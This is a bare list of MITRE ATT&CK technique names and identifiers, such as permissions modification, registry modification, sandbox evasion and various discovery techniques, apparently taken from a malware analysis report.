File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Modify Registry

T1112

Virtualization/Sandbox Evasion

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Virtualization/Sandbox Evasion